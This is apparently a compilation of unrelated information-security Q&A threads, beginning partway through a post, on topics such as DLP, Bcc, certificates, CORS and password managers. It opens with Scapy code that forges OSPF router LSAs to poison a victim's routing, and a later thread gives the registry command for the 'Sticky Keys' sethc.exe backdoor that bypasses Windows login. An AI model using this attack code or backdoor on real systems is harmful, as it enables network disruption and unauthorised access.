trigger=Ether()/IPlayer/OSPFHdr/OSPF_LSUpd(lsacount=1,lsalist=[OSPF_Router_LSA(id=victimId,adrouter=victimId,seq=sequence-1,\
                                            linkcount=3,linklist=[link2victim,link2host1,link2host2])])

#Buid the disguised LSA
IPlayer=IP(src=victim,dst=victimNeighbor)
OSPFHdr=OSPF_Hdr(src=victimId)
disguisedLsa=Ether()/IPlayer/OSPFHdr/OSPF_LSUpd(lsacount=1,lsalist=[OSPF_Router_LSA(id=victimId,adrouter=victimId,seq=sequence,\
                                            linkcount=3,linklist=[link2victim,link2host1,link2host2,collisionLink])])
#Send them both
ourSend(trigger)
ourSend2(disguisedLsa)

But I do not know why did not affect!! Packet send but not affect.

IOS version : 12

VMnet1,VMnet8 interface is : HostOnly type.

This attack is only need two routers.

Quagga software router, the attacker can launch a simulation.

As shown below:

My problem was solved.


Monitor or prevent? DLP Scenario:
I'm administrating my company's network all alone. I'm the only IT guy around and can not spend too much time with anything special as some people would start freaking out.
I have to implement some DLP(Data Leaking/Loss Prevention) system and I have to decide whether to focus on monitoring or preventing it.
Monitoring:
PROS: No false positives.
CONS: Lack of time will cause data being leaked and me realising a two days later.
Peventing:
PROS: No data leaked (if properly configured)
CONS: False positives and configuration and reconfiguration of filters

So far, I'm in favour of Monitoring as the other option would lead in false positives = mad people
Anyone could throw some light in here? What should I do regarding my scenario?

You should focus on both, but not only, monitoring and preventing is part of single system where there are also established procedures on what to do if the data is leaked or lost.

Monitoring (e.g. data availability, data leaks via audits)
Taking action (procedures) in case of breach or data loss

Sending notifications to interested parties
Restoring from backups
Failing over to another node
Failing over to another location
Etc

Preventing

managing access (granting users appropriate permissions)
ensuring policy (including backups and access policy, e.g. group policy)

Hope this helps.


Can I Retrieve Email Addresses from BCC? How can I unmask the e-mail addresses in a Bcc field when I am just a recipient?

Need very simple, step-by-step instructions for someone who doesn't code. I have received a group e-mail and would really like to see the others who got it.

You can't. You simply won't have any information about the Bcc header when you receive the mail, so you there's nothing to "unmask".

The way Bcc is designed is specified in RFC 2822, under section 3.6.3. To quote the specification:

  The "Bcc:" field (where the "Bcc" means "Blind Carbon Copy") contains
  addresses of recipients of the message whose addresses are not to be
  revealed to other recipients of the message.  There are three ways in
  which the "Bcc:" field is used.  In the first case, when a message
  containing a "Bcc:" field is prepared to be sent, the "Bcc:" line is
  removed even though all of the recipients (including those specified
  in the "Bcc:" field) are sent a copy of the message.  In the second
  case, recipients specified in the "To:" and "Cc:" lines each are sent
  a copy of the message with the "Bcc:" line removed as above, but the
  recipients on the "Bcc:" line get a separate copy of the message
  containing a "Bcc:" line.  (When there are multiple recipient
  addresses in the "Bcc:" field, some implementations actually send a
  separate copy of the message to each recipient with a "Bcc:"
  containing only the address of that particular recipient.) Finally,
  since a "Bcc:" field may contain no addresses, a "Bcc:" field can be
  sent without any addresses indicating to the recipients that blind
  copies were sent to someone.  Which method to use with "Bcc:" fields
  is implementation dependent, but refer to the "Security
  Considerations" section of this document for a discussion of each.

  When a message is a reply to another message, the mailboxes of the
  authors of the original message (the mailboxes in the "From:" field)
  or mailboxes specified in the "Reply-To:" field (if it exists) MAY
  appear in the "To:" field of the reply since these would normally be
  the primary recipients of the reply.  If a reply is sent to a message
  that has destination fields, it is often desirable to send a copy of
  the reply to all of the recipients of the message, in addition to the
  author.  When such a reply is formed, addresses in the "To:" and "Cc:"
  fields of the original message MAY appear in the "Cc:" field of the
  reply, since these are normally secondary recipients of the reply.  If
  a "Bcc:" field is present in the original message, addresses in that
  field MAY appear in the "Bcc:" field of the reply, but SHOULD NOT
  appear in the "To:" or "Cc:" fields.

  Note: Some mail applications have automatic reply commands that
  include the destination addresses of the original message in the
  destination addresses of the reply.  How those reply commands behave
  is implementation dependent and is beyond the scope of this document.
  In particular, whether or not to include the original destination
  addresses when the original message had a "Reply-To:" field is not
  addressed here.

In practice the case where To and Cc recipients receive no Bcc line, but each Bcc'ed address receives a Bcc line containing only their email address, is most common. This provides no indication of a Bcc to the To and Cc recipients, and indicates to the Bcc'ed recipients that they were sent the email via the use of Bcc without revealing other Bcc recipients.


Deny attacker access to my router I was experiencing very low connectivity on my wireless, so I checked the router logs.
Here's what I saw:

Jul 09 11:07:24 Per-source ACK Flood Attack Detect (ip=74.125.130.129) Packet Dropped
Jul 09 11:07:24 Whole System ACK Flood Attack from WAN Rule:Default deny
Jul 09 11:06:24 Per-source ACK Flood Attack Detect (ip=74.125.200.189) Packet Dropped
Jul 09 11:06:24 Whole System ACK Flood Attack from WAN Rule:Default deny
Jul 09 11:05:24 Port Scan Attack Detect (ip=74.125.200.113) Packet Dropped
Jul 09 11:05:24 Per-source ACK Flood Attack Detect (ip=74.125.200.113) Packet Dropped
Jul 09 11:05:24 Whole System ACK Flood Attack from WAN Rule:Default deny
Jul 09 11:04:24 Per-source ACK Flood Attack Detect (ip=74.125.200.113) Packet Dropped
Jul 09 11:04:24 Whole System ACK Flood Attack from WAN Rule:Default deny
Jul 09 11:03:24 Per-source ACK Flood Attack Detect (ip=74.125.200.189) Packet Dropped

....

Jul 09 10:40:24 Per-source UDP Flood Attack Detect (ip=74.125.68.189) Packet Dropped
Jul 09 10:40:24 Per-source ACK Flood Attack Detect (ip=74.125.68.189) Packet Dropped
Jul 09 10:40:24 Whole System ACK Flood Attack from WAN Rule:Default deny
Jul 09 10:40:24 Whole System UDP Flood Attack from WAN Rule:Default deny
Jul 09 10:39:24 Per-source ACK Flood Attack Detect (ip=74.125.200.95) Packet Dropped
Jul 09 10:39:24 Whole System ACK Flood Attack from WAN Rule:Default deny
Jul 09 10:38:24 Per-source UDP Flood Attack Detect (ip=74.125.68.189) Packet Dropped
Jul 09 10:38:24 Per-source ACK Flood Attack Detect (ip=74.125.130.81) Packet Dropped
Jul 09 10:38:24 Whole System ACK Flood Attack from WAN Rule:Default deny
Jul 09 10:38:24 Whole System UDP Flood Attack from WAN Rule:Default deny

This is a partial log. As it can be seen the IP address logged as an attacker keeps on changing. I suspect this ACK Flood Attack is killing my Internet connectivity, am I correct?

I tried blocking these addresses, but the router administration page just allows to block ips falling in the same subnet. How do I block this attack?
Also, does this flood attack count in my Internet bandwidth usage?

What actions need to be taken for

Securing my router from such connections(it's already dropping those packets so I suppose it's secure, but still it's denying me external connectivity, which is what I want to get secured against too).
In case the bandwidth is counted against my usage, as seen by my ISP which is billable to me, I don't want to pay for.

Note: I checked some of these IPs, and it seems to be the company I work for. That makes me rethink, is it the reason for low connectivity?

Apparently this traffic is coming from the Google Network:

NetRange:       74.125.0.0 - 74.125.255.255
CIDR:           74.125.0.0/16
NetName:        GOOGLE

I'd recommend to send an abuse e-mail with the logs attached to:

OrgAbuseEmail:  arin-contact@google.com

Are you running any services? Could it be a Google bot crawling you too fast? (At least for the ACK part of the logs)


Why doesn't Bitlocker mix the password with stored key? Bitlocker doesn't support USB key + PIN (password). The reasoning was "the password is too weak to provide additional security". Isn't that flawed? With a USB key and password, I've got some level of two-factor, right? The USB drive contains 128/256 bits of key material, and the user could provide as large a passphrase as needed. That way, stealing a USB key doesn't grant access, nor does somehow finding the password (watching, listening, etc.)

The same for TPM. I'd like to use the TPM to verify the startup environment. But I don't want to trust my entire key to chips that may be very poorly implemented. (I recall some news of attackers being able to just open up the TPM and access the key material directly.) If Bitlocker used my password, I could get the best of both worlds.

It does sound like a flawed argument though I've not checked the details personally.

But this doesn't surprise me as it seems to me, from the perspective of seeing Bitlocker deployed to a large enterprise, Bitlocker is pretty flawed anyway.

Certainly TrueCrypt supports using both.

Of course, the downside of using USB devices for security is their rate of failure. As they fail pretty regularly, I certainly would not want to rely on one as the only mechanism for logging in to something.


Is the lack of an IP address in the AN field of an SSL certificate a vulnerability? When accessing a HTTPS site by IP address, if the IP address is not in the alternate names field, the browser will throw an error about the certificate not matching.

Would this be considered a low risk vulnerability? If an attacker can force the use of an IP address, then surely the certificate is no longer of any value at this point (unless installed on a client machine)?

Would this be considered a low risk vulnerability?

Yes.

  If an attacker can force the use of an IP address, then surely the
  certificate is no longer of any value at this point (unless installed
  on a client machine)?

I'm not quite sure I understand the question. Even if an IP address is forced by an attacker and the IP address is not defined as a SAN, the traffic will still be encrypted.

However, keep in mind that RFC 6125 recommends against strictly using an IP address as the defined name:

  Some certification authorities issue server certificates based on
        IP addresses, but preliminary evidence indicates that such
        certificates are a very small percentage (less than 1%) of issued
        certificates.  Furthermore, IP addresses are not necessarily
        reliable identifiers for application services because of the
        existence of private internets [PRIVATE], host mobility, multiple
        interfaces on a given host, Network Address Translators (NATs)
        resulting in different addresses for a host from different
        locations on the network, the practice of grouping many hosts
        together behind a single IP address, etc.  Most fundamentally,
        most users find DNS domain names much easier to work with than IP
        addresses, which is why the domain name system was designed in the
        first place.  We prefer to define best practices for the much more
        common use case and not to complicate the rules in this
        specification.

UPDATE:

It seems that Symantec, along with several other CA's will no longer issue certificates without a valid FQDN.

  For this reason, the leading Certification Authorities, including Symantec, that make up the Certification Authority/Browser Forum (CA/B Forum) have decided to cease issuing certificates without a Fully Qualified Domain Name (FQDN).

Please reference: http://www.symantec.com/connect/blogs/important-changes-ssl-certificates-intranets-what-you-need-know


What was the Lavabit's backdoors to their customers' e-mails? There has been some talk about the Lavabit's case. New info was published today, but not important.

I'd like to know how Lavabit worked. First I thought they just did something with OpenPGP. Then I realized that maybe it was not the case since the US goverment requested some kind of universal private key for all users. What the hell is that? I read that Lavabit was forced to ensure some kind of backdoor, but I don't get how did it work. If their customers just encrypted the content with their own public/private keys, nobody would be able to access the content. Or is it just the encryption of header info (like sender's and recipient's e-mail address) that Lavabit ensured?

Thanks.

PGP only works when both users are using PGP and already exchanged each others public keys over a trustworthy channel. When you want to send an email to someone you never had contact with you can not do that.

Also, there is no good way for a web-based service to store the users keys on their own computer. There are features like cookies and localstorage to store data on the client, but neither of these guarantee persistence by the specifications. That means the risk to lose ones private keys would be quite high with a client-sided solution.

By the way: You can use PGP over a public email service which doesn't support it officially. You can use any medium which transfers text to exchange PGP-encrypted messages. It just means that you need to do the en- and decryption manually.

What Lavabit was doing was to encrypt the users data with a keypair derived from the users password - the same password which is used to log into the service. By cracking the SSL/TLS connection between client and server it would have been possible to obtain that password, log into the users account and read their email. Also, it was never impossible for Lavabit to obtain any discriminaing information about its users. They complied with search warrants in the past when it was about child pornography and when it targeted specific users.


What's the point of a digital certificate for which no private key exists? I am only using digital certificates to sign documents, and my understanding is that the correct flow is the following:

create a private key (e.g. using openssl)
create CSR using the previously created private key
use the CSR to request a digital certificate
download digital certificate
create digital identity (pfx file) using the digital certificate (4.) and the private key (1.).
Use that pfx file to sign pdf, word files, mail, or any other file

The institution that I work for provides the employees different types of digital certificates (from digicert), for multiple purposes, one of which is digital signatures, which is my intended use. On the digicert webpage on which I can generate my own Premium digicert certificate, I only have one field to fill in, which is optional, the CSR field. Some other fields are prefilled, like my name, and the validity (1 year). Not knowing exactly what I'm doing, I first clicked on generate without creating a CSR first. Out of that I got 3 files, the client certificate, and 2 other certificates. They were useless in creating a pfx that can be used to sign documents without a corresponding private key. After a bit of research I learned that I am supposed to follow the steps above, but now I wonder why is the CSR optional. In what circumstances a client certificate without a private key can be used?

The output that I get from digicert when requesting a premium digital certificate seems to be the same, regardless of whether I fill in a CSR or not
(3 crt files, one of which is on my name, the other 2 being the 2 companies that trust the client certificate). The only difference is that without a private key, I cannot create a pfx using openssl.

I even tried to create a pfx using the same private key for both sets of premium certificates (created with CSR and without CSR). For the set created with CSR it all worked out ok, and for the set created without filling in a CSR, openssl complained that there is no digital certificate matching the private key.

If my understanding is correct, without a CSR there can't be a link to a private key. Without a public-private key pair, what can one do with a digital certificate?

If my understanding is correct, without a CSR there can't be a link to a private key

Your understanding is wrong.
The CSR contains the public key and is signed by the private key. The private key is kept private by the owner of the certificate (which is not the CA). It is not given to the CA inside the CSR. The CA also does not need the private key but only the public key since the public key is ending up in the final certificate.


Online vs offline backups Up to this point I was using physical hard drives for backups, typically using dm_crypt as mentioned here. If online storage is used instead, and the provider cannot be trusted how much should the security parameter of the encryption routine be increased (I'm always using an encrypted drive) so that recovering the contents becomes unfeasible.

This question approaches the same issues but considers the files to be encrypted by the backup provider and not the user.

If this is just about the bit length (and I couldn't find out anything about the Block Mode -- I'm just guessing "XTS") that you should use for AES (128, 192 or 256), then 128 bits should be enough.

Check keylength.com and put in a date far enough in the future for your needs.


How can I remove Sticky Keys Exploit via cmd? Recently, on my Windows 8.1 VM, I added a "Sticky Keys" exploit because I forgot my password. Now, I wish to remove it via cmd. This is what I imputed:

REG DELETE "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

But it returns this:

ERROR: Invalid syntax.
Type "REG DELETE /?" for usage.

I am not too sure what am I doing wrong because when I used REG ADD, it worked.

Thanks in advance

The syntax of the command is incorrect.

  reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger

This will delete the value. You can do the same for "explorer.exe".


Can I decrypt a .gpg file by using Windows CNG store/ProtectedData? I'm creating this tool in C# that would take a .gpg file and decrypt it using Windows CNG. I get a .gpg file as my input parameter and it is encrypted with my key using WinPT. Decrypting it works with the tool and I can also decrypt using BouncyCastle and my secret key. The receiving party of the file will always have the rights / key to decrypt it (this is an assumption). We do not want to use the secret key anymore, but would instead like to use the key from Windows CNG store OR the ProtectedData class (preferably). The thing we would like to avoid is sharing the secret key.

I've checked this post, where it more or less explains how the encryption and decryption works using Unprotect and Protect, but i cannot get it working when the input file is a .gpg. It does work with byte arrays, and converting the .gpg data to a byte array does not help either.

Link: Pgp Private key storage on windows server advice

Is it even possible to decrypt a .gpg using this method?

Example scenario:

Let's say the file gets encrypted by John using WinPT on his laptop. He then uploads it to a folder on some server. When he downloads a tool, the proper encrypted file he previous uploaded also gets downloaded. He does not have the secret key on the PC he is currently on, at least not exported. So it should be saved somewhere in the machine registry/container, it is visible in WinPT. Is it possible to decrypt the file without the secret key exported? So that the c# program would know what key to take from the windows key store and decrypt it that way. TL;DR: Encrypt with WinPT, decrypt with ProtectedData / CNG

I've solved the issue by calling gpg.exe with arguments, which automatically chooses the correct key from the keyring.


RHEL7 SSGv0.1 2.2.3 Unauthorized SUID/GUID executables We are upgrading to RHEL 7.6. My Nessus scanner is giving me the following message:
2.2.3.c-d Mandatory Review Required: Find unauthorized SUID/GUID System Executables
RHEL7 SSGv0.1 2.2.3 Unauthorized SUID/GUID executables
/usr/bin/pkexec
/usr/bin/screen
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/libexec/dbus-1/dbus-daemon-launch-helper
/usr/libexec/sssd/krb5_child
/usr/libexec/sssd/ldap_child
/usr/libexec/sssd/selinux_child
/usr/libexec/sssd/proxy_child

My question is, how do I know if these files should have their sticky-bits set?

Run rpm -V "$(rpm -qf "/usr/bin/pkexec")", for each file to check. If you see an entry like .M.......    /usr/bin/pkexec, then the file's mode has been modified. If not, then it's still the same as when it was installed (and for pkexec, it is indeed supposed to have it). Repeat for the rest of them.

Note that this assumes that your package management infrastructure hasn't been compromised, but if it has, then you can't trust anything anyway.


Would this be an accurate proverb towards IT security? If encrypted by a computer so can be decrypted by a computer; the only two considerations are time and memory.

It is right, but note: you have to differentiate between the practical and the theoretical possibilities.

If your attackers need $10^500$ clock cycles to decrypt your data, then the possibility of a crack is only theoretical. In practice, you have a much more chance that the crack happens because a software, hardware or theoretical fault in your systems, as anybody could crack it in the next billion years.


Privacy of my company's guest Wi-Fi I use my company's guest Wi-Fi along with another maybe 1500 other people across our site. On my breaks I access some random chat servers.

Can my company see and hear my conversation?

Whether you company will be able to see the content of your chats depends on a couple of factors

Is your access to the chat site encrypted?  if you're using SSL, then normally someone running a network you're accessing it over, will not be able to see the content of the chat (although they will likely know the name of the site you're accessing).  The exception to this is if they are using software to intercept SSL connections and you have installed the relevant certificate to allow that to happen. Assuming you're using a personal device to access the chat sites, you'd know if this had happened.
If the chat site isn't running over an encrypted connection, they it's possible technically for the person running the network to see the content of your chats.  In some countries they would be obliged to provide you notification that your traffic may be inspected.


How to properly secure OO PHP CMS? I have OO PHP application which serves pages as well it does payment card processing via external RBS payment gateway. There is also reporting database. The problem is when somebody exploits this PHP, he gains access to all the information about all users as well other reports plus he can modify pages via SQL. There is also admin, which is in separate folder (admin/). There are 100 websites pointing to the same document root and there are dozens of various modules with potential bugs. Do you have any preferable method for this? Currently it runs Ubuntu 12. The CMS I did myself, it's made out of several modules, for both frontend and backend.

Update: It is multi-tenant application.

There are many many things you can do to ensure the security of your PHP application whether it is OO doesn't really make that much difference.

You could start by running some automated php auditing tools to pick up on the really obvious issues see here
Also more information about security attacks on php web applications
Basically you want to at least try and secure against the top 10 application security risks, but this is only a start.
Securing the application is only the first step you need to make sure that overall your server and every other part of your system is secure.


Why would one increment card security code for a new payment card I have a debit payment card, once it expired I received a new one. The card numbers look like this

Old card xxxx xxxx 1111 1111
New card xxxx xxxx 2222 2222

where x are the matching numbers and 1 and 2 are different (odd, but maybe the first 8 numbers are assigned to the particular bank/branch which I didn't change).

Now, the card security code according to Wikipedia is

  [...] is calculated by encrypting the bank card
  number, expiration date and service code with encryption keys known
  only to the card issuer, and decimalising the result.

But my new code only incremented by one. Example:

Old CSC: 111
New CSC: 112

This could be by pure chance (1 in 1000), but what if it's not.

Question: Is it a real increment of CSC for a replacement card or coincidence? If it's increment - is it bad?

That the code appears to be "just incremented" is not a problem. It would even not be a problem if the code did not change at all, which is expected to happen randomly for 1/1000th of card updates.

The CSC is a secret value and its strength does not come from its actual value, but from the value space: it is a 3-digit number that attackers do not know and cannot recompute (at least, as long as the generation process on the bank -- the "encryption" -- was done properly). From the attacker point of view, they have probability of guessing it of exactly 1/1000. No more, no less. Attackers know that with probability 1/1000 it will be the same code than for a previous one; they also know that with probability 1/1000 it will be equal to the previous code with a +1 increment. This yields no information whatsoever.

What would help the attackers is if the CSC was not generated with an adequate process (be it "encryption", keyed hashing or even pure randomness), but with something weak which results in some values being more probable than others, in a way which can be tracked by attackers. Then, and only then, does the strength of the CSC lowers. However, a single observation is by no way sufficient to infer such sloppiness. As I said, an apparent +1 increment on the CSC will happen "by pure chance" for every thousandth card renewal (on average). It happens thousands of times every day world wide. It just happened to you this time.


How can utilities with setuid set to root be secure if they are debuggable? Today I heard at Uni something that broke my mental model about separation of users' rights. Namely, I heard that:

  I can freely debug all programs I have the permission to run, even those that have setuid set to root.

That means I can, for example, run su under debugger. I tried it and it worked:

gdb su

This is mind-blowing for me. May I present you my former mental model about users' rights management so that you can correct me where I'm wrong and explain to me how things really are?

Until today, I used to believe that:

Anything that runs under my user account is, by definition, "mine". That is, I can freely do anything what I want with such a program, in particular I can debug it, which entails I can read and modify all data such a program stores in its memory, or even patch it while it is running.
Programs with setuid set to other user - let's assume it's root, for the sake of simplicity - run with rights exceeding rights of my user account, but in return they're supposed to do only what they were designed to do: anything more and it's a security breach. Thus, these programs, while they can be run by my account, nevertheless run under the account that owns them - so from the POV of rights management, they run as if they were run by their owner - so I cannot read their memory or interrupt their execution, so that I cannot bend them to my will, so in particular I cannot debug them.

The second point is manifestly false. But, according to my (clearly wrong) mental model, this entails that, if I - for example - run su under gdb, I can trap the moment where su decides if the password is correct, modify this fragment of su's memory to force it to believe that the answer to this fundamental question is positive, then resume its execution and voila, I now have root rights. Well, binary authors might try to obfuscate their code to make this difficult, but a skilled and persistent person can always overcome this and this doesn't apply to su anyway since it's open source.

Where is my mental model wrong? Where is it at odds with reality?

Normally, when su runs, it runs setuid (as root). When you start it with gdb, the setuid bit doesn't take effect (because it's being ptraced), so even if you convince it that you entered the right password, it won't have permission to actually give you a new UID. The reason for this is to mitigate the exact attack you describe.


Do vulnerability reports often get disregarded for lack of information? I recently came across the following article.

Tl;dr: a real vulnerability was disregarded, so the security researcher exploited the vulnerability to get attention from Facebook's security team.

What particularly caught my attention was the fact that the team decided to not act on the report because they allegedly didn't have enough information to reproduce the bug, and hence simply replied "this is not a bug."

Also, this is the first time I came across such case in the news, yet it doesn't seem like an isolated event. That is, I have a feeling that this happens way more often.

How do teams decide when a report is not "actionable enough"? Does it happen often?
Are there other famous cases like the one above?

A report to be usable needs to be reproducible - example payloads entry points tools used etc. A bug report means nothing if the reporter used a custom tool and payload that the security team and doesn't provide detailed steps and payloads.

Security teams also view applications differently than say a developer. To me the facebook issue is not a huge impact compared to a cmd injection or sql injection bug. Maybe they didn't triage this correctly and look at the potential impact - spammers leveraging this bug to post of everyoness page which in turn could link off to malicious payloads / sites


How to evaluate a password manager? How can we quantify the trade-off between password aggregation and convenience?

Password managers such as lastpass are convenient, but aggregation of passwords into a common store may reduce security. How do we evaluate the trade off between convenience and security? How much risk arises from password aggregation?  How can we compare convenience and risk.

How much risk arises from password aggregation?

This is a difficult measure to quantify. Certainly, if the cryptography protecting your password store is poor, or in the case of a cloud-based tool their host system security is poor and their storage scheme allows an attacker to recover your password database, then all password data is freely available to the attacker and you have a near-100% compromise of everything stored there.

However, life is not necessarily that straightforward. There are two really important factors to consider:

Do you use two-factor authentication mechanisms for your accounts? For example, consider that your google mail account has 2-factor auth turned on. If its password is leaked, you have a problem certainly, but the attacker requires access to the other factor before they can gain access to the account. This is a defence-in-depth approach to your accounts, which you should use if you can.
What is the likely behaviour for yourself or other users if you do not have the convenience of a password manager? With a password manager you have no excuse to use anything but high entropy passwords. However, if you are required to remember all your passwords you will hit upon the human-brain-storage limit pretty quickly and find yourself using correct horse battery staple 1 for everything, adding a different number each time.

In this case, a password leak may give a persistent nuisance the chance to evaluate how you generate your passwords (badly, most likely. I'm as guilty as the next for this) and therefore probably log in to a great number of accounts.

  How do we evaluate the trade off between convenience and security?

I think I have answered the how above, but I'd like to add an additional consideration into the mix: it depends on what you are storing in your aggregated password safe. Despite the emergence of technologies like OpenID, almost every site wants an email address and password from you - the motivating reason behind this discussion.

That does not mean that all such accounts are created equal - indeed, 99.99% of "stuff" users register for online they don't actually care about one hoot, a statistic I made up just now. So on this basis, such a user would probably be well served splitting their accounts into three types:

Those which have direct access to their financial details and can cause considerable financial loss, damage etc - e.g. bank accounts, insurance, etc. I would probably include your email in this category.
Those which have access to large quantities of socially-identifying information and direct communication links to your friends, e.g. Facebook, LinkedIn. You might also include in this category accounts which have access to financial information, but need to go through a system such as 3D-secure to authorise payment, as this requires additional non-site-specific authentication.
Everything else, especially sites like this one that email you your password in cleartext.

On this basis, you could decide that the risk of storing your most risky stuff in a password manager is too great (and you can expend some of that precious human memory stuff on memorising a difficult to remember password and turning on two factor auth), so you don't do it.

You could then decide which, if any, of the socially identifying sites pose the biggest threat and optionally not include these.

Finally, all the junk sites that seemingly want you to create an account can have a randomly generated password of sufficient length.

Evaluating password managers themselves is a much more difficult proposition. I'd fit them into two categories:

Desktop. This benefits from the security advantage of being (mostly) not directly available all of the time which also adds to the inconvenience. You may be able to evaluate the cryptographic on disk algorithms used, but above all else like any encrypted data unless you protect the physical target and ensure the virtual target is malware free, you put your data at risk.

In addition, in a desktop-based solution it would be possible to harvest the entire database, something that is not so easy from a secure cloud based solution.
Cloud. These are less easy to evaluate as they are typically harder to reverse engineer. You do not have access to, or knowledge of, the underlying algorithms, transport mechanisms etc. However, these facilities are convenient. On the upside, a leak (however small) would put any cloud password management company permanently out of business, so they do have an incentive to stay well ahead of the curve.

As I say, cloud based service evaluation is a hard one to do and each type of manager has their advantages and disadvantages. This really boils down to deciding what risks you wish to accept and the level of convenience you desire.

Hopefully, however, this is food for thought.


What party is protected by not turning on CORS? Here's what I know about CORS: It allows you to access data on another domain from the frontend of any other website, as long as the access-control-allow-origin property is properly set on the machine that is serving the data.

Desktop software is able to pull data from any website and do what it chooses with this, but web browsers specifically restrict grabbing data from a different domains (unless cors or jsonp is used).

So, not having cors turned on protects the server from serving to the wrong site, or does it protect the frontend browser in some way?

CORS is only to prevent cross-origin reading inside the browser.

Before CORS was implemented in the browsers simple requests (i.e. form upload, embedding image etc) could do cross-origin requests (and thus also CSRF attacks) could display the response inside the browser but could not access the response from inside JavaScript. And XMLHTTPRequest and similar were restricted to access same-origin only but could read the response within JavaScript when doing a same-origin request (Same-Origin-Policy).

CORS mainly deals with the latter restriction: if the server explicitly allows cross-origin access then cross-origin XHR will be allowed both to send a request and also to read the response from within JavaScript (like only with same-origin before). And the browser can include existing cookies and similar when doing such cross-site request and thus do cross-site reads within a previously authenticated session.

But what does this mean for applications outside the browser: Since these are not expected to be used as an attack vector for cross-site reading in the first place they are irrelevant in the context of CORS. Of course, if such an application actually implements browser-like behavior and actually supports authenticated cross-site requests then it should also implement the relevant protections browsers have, i.e. Same-Origin-Policy and CORS.

Note that CORS is not a replacement for authentication. A server still has to implement proper authentication to restrict what kind of data the users can retrieve. But with CORS a cross-site requests can be made which uses the existing authentication to retrieve protected content cross-site - but only if allowed by the CORS policy.


How to identify call stats about 2/3/4G users in a room? If someone can please provide some advice about the following problem I am trying to solve it will be great.

Scenario: A standard office room, with (say) a couple of people in it
What I want to find:
(1) How many cell phones are in the room
(2) What are the phone numbers of the phones in the room
(3) When is a specific number making a call
(4) How long is the call

I am not interested in the call content.

Is there a hardware/software solution that already exists for these requirements ?

Unless you shield your building completely, there is no way to determine if the signal is coming from in the room or from outside without triangulating the signal and there isn't a guaranteed way to force the phones to connect to your device instead of the actual cell tower.

Depending on jurisdiction, this may or may not even be legal since it could cause interference with people passing by who just happen to get caught in your net.  I don't think you would be able to tell the cellphone numbers since that is established by the carrier, but you would be able to tell the cellular radio's identifying numbers.  You wouldn't be able to tell who they are calling without breaking through the encryption (which would almost certainly be illegal.)

So in short 1)Not without triangulating the signal and even then unlikely to be reliable. 2) Unlikely, though you could identify the physical phone being used.  3) You could identify that a particular phone (but not phone number) is making a call. 4) You could tell how much time the connection stays alive.  These all depend on them remaining connected to your repeater however which again, is not guaranteed unless you can block out the real tower.


How does a client (like SSLLabs) know all the cipher suites a server supports if the server doesn’t send its list of supported cipher suites? I was looking at the TLS handshake and I noticed that the client will send its list of supported cipher suites and the server will select a cipher suite. The server never sends its list of supported cipher suites. How does a client like SSLLabs know the cipher suites that the server supports? Also, I noticed that SSLLabs only sends one request to the server.

In TLS the client announces what kind of ciphers it supports inside the ClientHello and the server picks a cipher from these which is supported on the server too. While one cannot query the server ciphers directly from the client side one can simply take all known ciphers, construct a ClientHello with each of these and check how the server reacts to this ClientHello - i.e. if the server is accepting the cipher or not.

By intelligently combining multiple ciphers in the ClientHello one can speed up this process and also determine which ciphers the server prefers against others (i.e. cipher order).  And that's exactly what SSLLabs is doing for determining the ciphers and also for getting supported SSL/TLS protocol versions and other features of the server.

  Also, I noticed that SSLLabs only sends one request to the server.

If you look into the access log of your web server you'll see only HTTP(S) requests. But, most tests done by the SSLLabs scanner don't result in a completed HTTP request. Instead they already stop in the middle of a TLS handshake. These requests will not be shown in the access log of the web server but you'll see them if you are doing a packet capture.


Is there a way to use VirusTotal.com offline? I live at a place where we don't always always have internet. I wonder if there is something like VirusTotal but that could work without internet connection and sync when I have some wifi to update its database.

You could have a Virtual Machine set up, and buy subscriptions to/download the free versions of all the anti-virus engines you like (for instance, the list VirusTotal has), install them one at a time (making sure to turn off all the automatic features except updating - no on-line scanning, no email integration, no Web Toolbar, no SafeSearch, no URL checking, etc. etc.).

Then you could copy a file to the VM or use shared storage or whatever and scan it with every engine.  The more advanced method, of course, is to automate the scans with each engine - either a batch file, or a program that calls each of them one at a time and reports the results.

You can then bring the VM online and update them all whenever you can/need to; again, automating that will help keep your workload down.  You can also take snapshots of the VM and be able to go back to previous version to see if a particular piece of malware was detected differently some time ago; i.e. to track the change in detection, though that's a bit cumbersome and snapshots will slow down performance and use drive space.


Does digital signature really ensure data integrity? Suppose attacker knows public-key of sender. He can make his own private key derived from public-key of sender.
Then he can alter message and sign it with his private key.

Probably I'm missing the point but I can't find explanation anywhere.
Please, help.

Assuming the cryptographic algorithm is strong and the key used does not have any weakness, the attacker will NOT be able to generate the corresponding private key from a public key. That is the whole point of Public Key Cryptosystems.

The attacker would usually be needed to solve a computationally impossible problem in finite time (Factorize a huge number in case of RSA or solve discrete logarithm problem in case of ElGamal) to generate the private key just from the public key.

So, the attacker will not be able to forge any signatures unless and until she does, what is described above.


challenge-responce and man-in-the-middle Is man in the middle attack possible in a typical challenge-response based authentication? For a typical reference one can go through this paper.

My question is that is it possible for an intruder to act as server(possibly using DNS spoofing; for the client) and as client for the server and become the man in the middle?

It is not possible to answer your question without more information.  "Challenge-response" is a general technique.  There are many protocols that happen to incorporate some sort of challenge-response mechanism for one purpose or another.  Some of those protocols are vulnerable to man-in-the-middle attacks; some are not.
Generally speaking, if challenge-response authentication is the only mechanism used for authentication, then the protocol is likely to be vulnerable to man-in-the-middle attacks.  For instance, one attack against simple challenge-response systems is to wait for the two legitimate endpoints to finish the challenge-response part of the protocol, and only after that is done, start tampering with the traffic.
Generally speaking, to ensure security against a man-in-the-middle, you need some protocol that will provide a secure channel.  For most purposes, I'd recommend simply using SSL/TLS.  It is well-studied and can provide strong resistance to man-in-the-middle attacks, if used properly.
Update (11/15): It now appears that you were asking specifically about the paper you linked to, by Yang et al.  Here is my analysis:

I would not recommend using the scheme proposed in that paper.  I have serious doubts about its security.

The paper does not provide a convincing security analysis.  The accepted standards in the field today call for a proof of security of any proposed new cryptographic protocol, or at least a very thorough analysis of security against known attacks.  The paper offers neither.  Put another way, the burden of proof is on the paper to provide convincing evidence that its proposal is secure.  The paper does not, I think, meet that burden.

